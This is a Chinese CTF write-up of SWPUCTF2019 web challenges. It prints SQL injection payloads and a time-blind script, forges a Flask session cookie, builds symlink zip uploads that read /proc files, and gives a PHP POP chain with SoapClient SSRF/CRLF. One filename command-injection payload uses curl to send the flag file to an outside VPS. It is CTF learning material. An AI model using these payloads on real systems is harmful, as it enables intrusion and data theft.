SWPUCTF2019
记录一哈复现过程
WEB
web1
题目地址为:http://211.159.177.185:23456/index.php
测试一下,不难发现是个二次注入的题。
在申请发布广告的广告名中插入恶意sql
语句,然后在广告详情中触发注入。
检查一下发现题目过滤了or
,报错注入函数。
可以采用联合查询来获取数据。关于过滤or
无法使用information_schema
库,我们可以根据bypass information_schema,使用sys
库,来完成表名的查询,以及使用无列名注入来完成注入。payload
如下:
#group by获取列数
-1'/**/group/**/by/**/22,'11
#查看版本
-1'/**/union/**/all/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取表名
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取各列
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2/**/as/**/test,3/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取数据
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2,3/**/as/**/test/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
结果如下:
somd5
网站解密得到flag
此外,在看别人的wp
的时候,发现其实有个报错函数并没有被过滤ST_LatFromGeoHash
,如下用法
1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
web3
随便输入账号密码登录进去,有一个upload
目录,但是没有权限访问。右键源码看到有个404 not found
提示。
随便访问一个不存在的url
,发现response
头中有自定义字段
base64
解码之后得到以下字符串:
SECRET_KEY:keyqqqwwweee!@#$%^&*
再联想到刚才访问upload
显示的权限不够,可以判断是使用该key
伪造session
。
github
上down
加解密的代码
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
另外说一句,解密的话用以下代码就不用SECRET_KEY
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
或者P神的代码
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解密如下:
将id
改成b'1'
进入upload
目录,右键源码如下:
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
注意到这里的代码
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
这个unzip
不禁让人想起湖湘杯2019的那题untar
。
然后后面还有将解压文件返回的代码:
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
这里有两种解法。
第一种:使用软链接完成文件读取
CVE-2018-12015: Archive::Tar: directory traversal
上传一个软链接压缩包,完成flag
读取。因为缺少flag
的绝对路径,只有相对于flask
工作目录的相对路径./flag/flag.jpg
,所以要先获取flask
的工作目录。
这里又有两种方法
0x00
在linux
中,/proc/self/cwd/
会指向进程的当前目录,那么在不知道flask
工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg
来访问flag.jpg
,exp
如下:
ln -s /proc/self/cwd/flag/flag.jpg exp
zip -ry exp.zip exp
上传exp.zip
即可flag
。
0x01
在 linux 中, /proc/self/environ
文件里包含了进程的环境变量,可以从中获取flask
应用的绝对路径,再通过绝对路径制作软链接来读取flag.jpg
(PS:在浏览器中,我们无法直接看到/proc/self/environ
的内容,只需要下载到本地,用010
打开即可),exp
如下:
ln -s /proc/self/environ work
zip -ry work.zip work
ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg exp
zip -ry exp.zip exp
第二种:命令注入
在文件名处进行命令注入。类似$(curl vps -T `pwd`).zip
这种。
但是在读取
./flag/flag.jpg
时遇到了一点问题:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
文件名过滤了/
,这里https://blog.csdn.net/c20130911/article/details/73187757,将/
转化成ascii
。
$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)
web4
输个'
,发现500错误,闭合'
,发现请求正常。猜测可能存在sql
注入。
题目提示PDO
,猜测可能是用堆叠查询。因为PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS
为false
时可能会造成堆叠注入。
引号中输入;
,发现没有500错误,说明支持堆叠查询。使用PDO执行SQL语句时,可以执行多语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果,所以第二条语句中可以用update更新数据或者使用时间盲注获取数据。关于PDO下堆叠查询
但是过滤了select,if,sleep
等一系列关键字,所以我们可以选用十六进制+mysql预处理来完成绕过。
测试代码如下:
#select sleep(10)
'1';set @a=0x73656c65637420736c65657028313029;PREPARE stmt1 FROM @a;EXECUTE stmt1;-- '
发现注入成功。
于是时间盲注脚本如下:
import libnum
import requests
url = 'http://182.92.220.157:11116/index.php?r=Login/Login'
flag = ''
pos = 1
while True:
for i in range(128):
try:
#flag
#exp = "select if(ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))=%d,sleep(4),1)" % (pos, i)
#flag
#exp = "select if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(4),1)" % (pos, i)
#AmOL#T.zip
exp = "select if(ascii(substring((select flag from flag),%d,1))=%d,sleep(4),1)" % (pos, i)
exp1 = hex(libnum.s2n(exp))[:-1]
data = '''{"username":"1';set @a=%s;PREPARE stmt1 FROM @a;EXECUTE stmt1;-- ","password":"a"}''' % (exp1)
res = requests.post(url=url, data=data, timeout=2)
except Exception, e:
flag += chr(i)
print flag
break
pos += 1
print "oops~"
下载AmOL#T.zip
(记得将#
转化成%23),然后就是代码审计环节了。
是个MVC
模型,首先了解一下该框架下url
的解析过程:
从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。
以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController
这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。
若访问的Controller不存在则默认解析Login/Index。
这样我们就应该先来审计控制器的代码。
不难发现,在BaseController
中有着这么一段明显有问题的代码
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
这段代码中使用了extract
,以及包含了/View/{$viewName}.php
,也就是说我们能通过$viewName
和$viewData
这两个变量来更改/View
下任何一个php
文件的任何一个变量的值。
接下来看看继承了该方法的类。
终于,在
UserController
中找到了以下代码:
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
其中$listData
是从请求中获取,用户可控。不过刚才BaseController
中的$viewName
却是代码中写死的userIndex
,也就是我们只能覆盖/View/userIndex.php
中的变量。
那去/View/userIndex.php
看一下。
发现以下代码
<?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?>
其中imgToBase64()
实现的是将目标文件转化成base64
格式。而我们只需要将$img_file
改成/flag.php
即可。
到这里,一切都很清楚了。访问http://182.92.220.157:11116/index.php?r=User/Index&img_file=/../flag.php
即可获得
PD9waHAKICAgIGVjaG8gImZsYWcgaXMgaGVyZSxidXQgeW91IG11c3QgdHJ5IHRvIHNlZSBpdC4iOwogICAgJGZsYWcgPSAic3dwdWN0ZntIQHZlX2FfZzAwZF90MW1lX2R1cmluOV9zd3B1Y3RmMjAxOX0iOwo=
base64
解码得swpuctf{H@ve_a_g00d_t1me_durin9_swpuctf2019}
web6
随便输入账号密码显示错误 试试万能密码 显示密码错误猜测后台的判断逻辑如下:
$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['passwd'] == $_POST['passwd']) {
所以我们需要的是绕过if($key['passwd'] == $_POST['passwd'])
,这里想到使用实验吧中原题所使用的的with rollup
,如下:
pass
等于null
的那个查询结果,所以在rollup
后面接上having pass is NULL
这样用户名输入
1' or '1'='1' group by passwd with rollup having passwd is NULL#
,密码为空,即可成功登陆
发现有个
wsdl.php
,然后看到一系列的method
。感觉主要能用上的应该是
hint
、File_read
、get_flag
。使用
hint
:index.php Service.php interface.php se.php
使用
get_flag
返回only admin in 127.0.0.1 can get_flag
,猜测应该是越权+ssrf
。通过
File_read
加参数读取各个文件,
#se.php
<?php
ini_set('session.serialize_handler', 'php');
class aa
{
public $mod1;
public $mod2;
public function __call($name, $param)
{
if ($this->{$name}) {
$s1 = $this->{$name};
$s1();
}
}
public function __get($ke)
{
return $this->mod2[$ke];
}
}
class bb
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test2();
}
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
public function __invoke()
{
$this->mod2 = $this->mod3 . $this->mod1;
}
}
class dd
{
public $name;
public $flag;
public $b;
public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION), $this->flag);
echo call_user_func($this->b, $a);
}
}
class ee
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->{$this->str2}();
return "1";
}
}
$a = $_POST['aa'];
unserialize($a);
?>
#encode.php
<?php
function en_crypt($content,$key){
$key = md5($key);
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};
$h++;
}
$swpu = '';
for ($j = 0; $j < $length; $j++)
{
$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
}
return base64_encode($swpu);
}
先根据encode.php
和得到的flag{this_is_false_flag}
来对cookie
进行解密
#decode.php
function de_crypt($swpu,$key){
$swpu = base64_decode($swpu);
$key = md5($key);
$h = 0;
$length = strlen($swpu);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++) {
if ($h == $swpuctf) {
$h = 0;
}
$varch .= $key{$h};
$h++;
}
$content='';
for($j=0;$j<$length;$j++){
if(ord($swpu{$j})>ord($varch{$j}))
$content{$j}=chr(ord($swpu{$j})-ord($varch{$j}) );
else if(ord($swpu{$j})<ord($varch{$j}))
$content{$j}=chr(ord($swpu{$j})+256-ord($varch{$j}) );
}
echo $content;
}
de_crypt("3J6Roahxag==", "flag{this_is_false_flag}");
?>
解密得到xiaoC:2
,改成admin:1
重新加密xZmdm9NxaQ==
,此时我们已经完成了越权。
接下来看看SSRF
,先想好根据se.php
的一般反序列化链:
- dd->getflag()是肯定要运行的
- 用ee->__toString()来构造(1)
- 用cc->__invoke()中的字符串连接来触发(2)
- 用aa->__call()中的
$s1()
来触发(3) - 用bb->__destruct()来触发(4)
所以逻辑反过来写代码,得到如下:
<?php
ini_set('session.serialize_handler', 'php');
class aa
{
public $mod1;
public $mod2;
}
class bb
{
public $mod1;
public $mod2;
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
}
class dd
{
public $name;
public $flag;
public $b;
}
class ee
{
public $str1;
public $str2;
}
$b = new bb();
$a = new aa();
$b->mod1 = $a;
$c = new cc();
$a->mod2['test2'] = $c;
$e = new ee();
$c->mod1 = $e;
$d = new dd();
$e->str1 = $d;
$e->str2 = 'getflag';
$d->flag = '{1}';
$d->b = '{2}';
echo serialize($b);
接下来就是将上述代码中的{1},{2},{3}
填入。
根据LCTF2018中bestphp's revenge
中解法,我们可以判断的是我们需要先将soapclient
对象反序列化的数据写入session
,在上述的{2}
填入call_user_func
,{1}
讲道理随意填。
所以接下来搞定soapclient
对象反序列化的数据。
<?php
$target = 'http://127.0.0.1/interface.php';
$post_string = 'a=1&b=2';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: user=xZmdm9NxaQ==',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>
网上的脚本,需要设置的主要是$target
和headers
其中headers
利用SoapClient类进行SSRF+CRLF攻击
$target
为什么要设置为interface.php
而不是http://127.0.0.1/index.php?method=get_flag
,因为后者好像并不会输出结果,所以出题人多做了个soap接口interface.php
来完成攻击。实际上。我们能返回到信息,是因为这边已经实例化了SoapServer
类的原因。
我们可以首先看看interface.php
的代码:
#interface.php
<?php
include('Service.php');
$ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
$ser->setClass('Service');
$ser->handle();
?>
使用了SoapServer
生成了wsdl
文档,传入类Service
来启用接口服务,关于接口服务,测试代码如下:
#server.php
<?php
class Service
{
public function Get_flag(){
return "flag{xxx}";
}
}
$ser = new SoapServer(null,array('uri'=>'sampleA'));
$ser->setClass('Service');
$ser->handle();
?>
#client
<?php
$client = new SoapClient(null, array(
'location'=>'http://127.0.0.1/soap/server.php',
'uri'=>'sampleA'
));
echo $client->Get_flag(); //flag{xxx}
当客户端实例化了SoapClient
后,就可以调用到Service
类中的任意方法,并通过return
得到回显
而如果我们仅仅是通过SoapClient
调用不存在的方法触发ssrf
,是不会得到回显的,可以本地测一下就知道了,而这里Service
类的get_flag
方法显然是需要通过回显来得到flag
。这就需要利用SoapServer
。
所以我们通过反序列化SoapClient
类,location
指向interface.php
即服务端,因为服务端的setClass
为Service
类,而Get_flag
方法在Service
类中,最后我们通过call_user_func
调用SoapClient
类的Get_flag
方法即调用了Service
类的Get_flag
方法。
所以在刚才的{1}
不能像LCTF2018
中原题一样随便填了,需要填写我们要调用的方法,即Get_flag
。
接下来就是如何写入session
的问题,参考https://www.freebuf.com/vuls/202819.html,利用PHP_SESSION_UPLOAD_PROGRESS
上传文件,其中利用文件名可控,从而构造恶意序列化语句并写入session
文件。
构造上传文件
#upload.html
<html>
<body>
<form action="http://a3aff44b-21bc-4903-b8a4-434700b1be98.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
然后上传上面生成的SoapClient
反序列化的数据(记得在前面加个|
)
poc
写入到session中PHPSESSID
为zz
的值中。上传
se.php
反序列化的数据,即可获得flag
未完待续